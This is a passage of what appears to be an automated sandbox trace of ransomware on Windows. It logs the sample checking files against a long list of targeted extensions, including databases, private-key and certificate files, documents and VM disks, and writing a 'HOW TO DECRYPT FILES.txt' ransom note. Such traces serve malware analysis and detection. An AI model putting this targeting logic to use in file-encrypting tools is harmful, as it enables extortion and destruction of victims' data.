(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.msg") returned 0 [0118.976] lstrlenA (lpString="*.msg") returned 5 [0118.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.edb") returned 0 [0118.976] lstrlenA (lpString="*.edb") returned 5 [0118.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.accdb") returned 0 [0118.976] lstrlenA (lpString="*.accdb") returned 7 [0118.976] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.odb") returned 0 [0118.976] lstrlenA (lpString="*.odb") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.java") returned 0 [0118.977] lstrlenA (lpString="*.java") returned 6 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.asm") returned 0 [0118.977] lstrlenA (lpString="*.asm") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pfx") returned 0 [0118.977] lstrlenA (lpString="*.pfx") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pem") returned 0 [0118.977] lstrlenA (lpString="*.pem") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.p12") returned 0 [0118.977] lstrlenA (lpString="*.p12") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.gpg") returned 0 [0118.977] lstrlenA (lpString="*.gpg") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vsd") returned 0 [0118.977] lstrlenA (lpString="*.vsd") returned 5 [0118.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.odg") returned 0 [0118.978] lstrlenA (lpString="*.odg") returned 5 [0118.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.raw") returned 0 [0118.978] lstrlenA (lpString="*.raw") returned 5 [0118.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.nef") returned 0 [0118.978] lstrlenA (lpString="*.nef") returned 5 [0118.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.svg") returned 0 [0118.978] lstrlenA (lpString="*.svg") returned 5 [0118.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.psd") returned 0 [0118.979] lstrlenA (lpString="*.psd") returned 5 [0118.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vmx") returned 0 [0118.979] lstrlenA (lpString="*.vmx") returned 5 [0118.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vmdk") returned 0 [0118.979] lstrlenA (lpString="*.vmdk") returned 6 [0118.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vdi") returned 0 [0118.979] lstrlenA (lpString="*.vdi") returned 5 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.lay6") returned 0 [0118.980] lstrlenA (lpString="*.lay6") returned 6 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mpeg") returned 0 [0118.980] lstrlenA (lpString="*.mpeg") returned 6 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.djvu") returned 0 [0118.980] lstrlenA (lpString="*.djvu") returned 6 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tiff") returned 0 [0118.980] lstrlenA (lpString="*.tiff") returned 6 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.backup") returned 0 [0118.980] lstrlenA (lpString="*.backup") returned 8 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pdf") returned 0 [0118.980] lstrlenA (lpString="*.pdf") returned 5 [0118.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cert") returned 0 [0118.980] lstrlenA (lpString="*.cert") returned 6 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.docm") returned 0 [0118.981] lstrlenA (lpString="*.docm") returned 6 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xlsm") returned 0 [0118.981] lstrlenA (lpString="*.xlsm") returned 6 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dwg") returned 0 [0118.981] lstrlenA (lpString="*.dwg") returned 5 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.nd") returned 0 [0118.981] lstrlenA (lpString="*.nd") returned 4 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tlg") returned 0 [0118.981] lstrlenA (lpString="*.tlg") returned 5 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.lgb") returned 0 [0118.981] lstrlenA (lpString="*.lgb") returned 5 [0118.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mov") returned 0 [0118.982] lstrlenA (lpString="*.mov") returned 5 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xdw") returned 0 [0118.982] lstrlenA (lpString="*.xdw") returned 5 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ods") returned 0 [0118.982] lstrlenA (lpString="*.ods") returned 5 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.wav") returned 0 [0118.982] lstrlenA (lpString="*.wav") returned 5 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mp3") returned 0 [0118.982] lstrlenA (lpString="*.mp3") returned 5 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.aiff") returned 0 [0118.982] lstrlenA (lpString="*.aiff") returned 6 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.flac") returned 0 [0118.982] lstrlenA (lpString="*.flac") returned 6 [0118.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.m4a") returned 0 [0118.982] lstrlenA (lpString="*.m4a") returned 5 [0118.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.csv") returned 0 [0118.983] lstrlenA (lpString="*.csv") returned 5 [0118.983] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8af37dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8af37dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0118.983] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.983] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.Protocols.ni.dll.aux") returned -1 [0118.983] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.Protocols.ni.dll.aux") returned -1 [0118.983] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.Protocols.ni.dll.aux") returned -1 [0118.983] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll") returned="System.DirectoryServices.Protocols.ni.dll" [0118.983] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\" [0118.983] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\") returned="" [0118.983] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt" [0118.983] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\how to decrypt files.txt")) returned 0x20 [0118.983] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\", lpString2="System.DirectoryServices.Protocols.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux" [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.ems") returned 0 [0118.984] lstrlenA (lpString="*.ems") returned 5 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.db") returned 0 [0118.984] lstrlenA (lpString="*.db") returned 4 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.dbf") returned 0 [0118.984] lstrlenA (lpString="*.dbf") returned 5 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.myox") returned 0 [0118.984] lstrlenA (lpString="*.myox") returned 6 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.myo") returned 0 [0118.984] lstrlenA (lpString="*.myo") returned 5 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qbw") returned 0 [0118.984] lstrlenA (lpString="*.qbw") returned 5 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qbb") returned 0 [0118.984] lstrlenA (lpString="*.qbb") returned 5 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qbm") returned 0 [0118.984] lstrlenA (lpString="*.qbm") returned 5 [0118.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qbo") returned 0 [0118.984] lstrlenA (lpString="*.qbo") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qbx") returned 0 [0118.985] lstrlenA (lpString="*.qbx") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qba") returned 0 [0118.985] lstrlenA (lpString="*.qba") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qby") returned 0 [0118.985] lstrlenA (lpString="*.qby") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qbj") returned 0 [0118.985] lstrlenA (lpString="*.qbj") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.ofx") returned 0 [0118.985] lstrlenA (lpString="*.ofx") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.qif") returned 0 [0118.985] lstrlenA (lpString="*.qif") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mye") returned 0 [0118.985] lstrlenA (lpString="*.mye") returned 5 [0118.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mbox") returned 0 [0118.986] lstrlenA (lpString="*.mbox") returned 6 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.eml") returned 0 [0118.986] lstrlenA (lpString="*.eml") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.pst") returned 0 [0118.986] lstrlenA (lpString="*.pst") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.ost") returned 0 [0118.986] lstrlenA (lpString="*.ost") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.idx") returned 0 [0118.986] lstrlenA (lpString="*.idx") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.dbx") returned 0 [0118.986] lstrlenA (lpString="*.dbx") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.sql") returned 0 [0118.986] lstrlenA (lpString="*.sql") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mdb") returned 0 [0118.986] lstrlenA (lpString="*.mdb") returned 5 [0118.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.fdb") returned 0 [0118.986] lstrlenA (lpString="*.fdb") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.wab") returned 0 [0118.987] lstrlenA (lpString="*.wab") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.dat") returned 0 [0118.987] lstrlenA (lpString="*.dat") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.txt") returned 0 [0118.987] lstrlenA (lpString="*.txt") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0118.987] lstrlenA (lpString="*.jpeg") returned 6 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.jpg") returned 0 [0118.987] lstrlenA (lpString="*.jpg") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.png") returned 0 [0118.987] lstrlenA (lpString="*.png") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.php") returned 0 [0118.987] lstrlenA (lpString="*.php") returned 5 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.cs") returned 0 [0118.987] lstrlenA (lpString="*.cs") returned 4 [0118.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.cpp") returned 0 [0118.988] lstrlenA (lpString="*.cpp") returned 5 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.rar") returned 0 [0118.988] lstrlenA (lpString="*.rar") returned 5 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.zip") returned 0 [0118.988] lstrlenA (lpString="*.zip") returned 5 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.html") returned 0 [0118.988] lstrlenA (lpString="*.html") returned 6 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.htm") returned 0 [0118.988] lstrlenA (lpString="*.htm") returned 5 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0118.988] lstrlenA (lpString="*.xlsx") returned 6 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.xls") returned 0 [0118.988] lstrlenA (lpString="*.xls") returned 5 [0118.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\System.DirectoryServices.Protocols.ni.dll.aux", pszSpec="*.mp4") returned 0 [0118.988] lstrlenA (lpString="*.mp4") returned 5 [0118.988] PathMatchSpecA 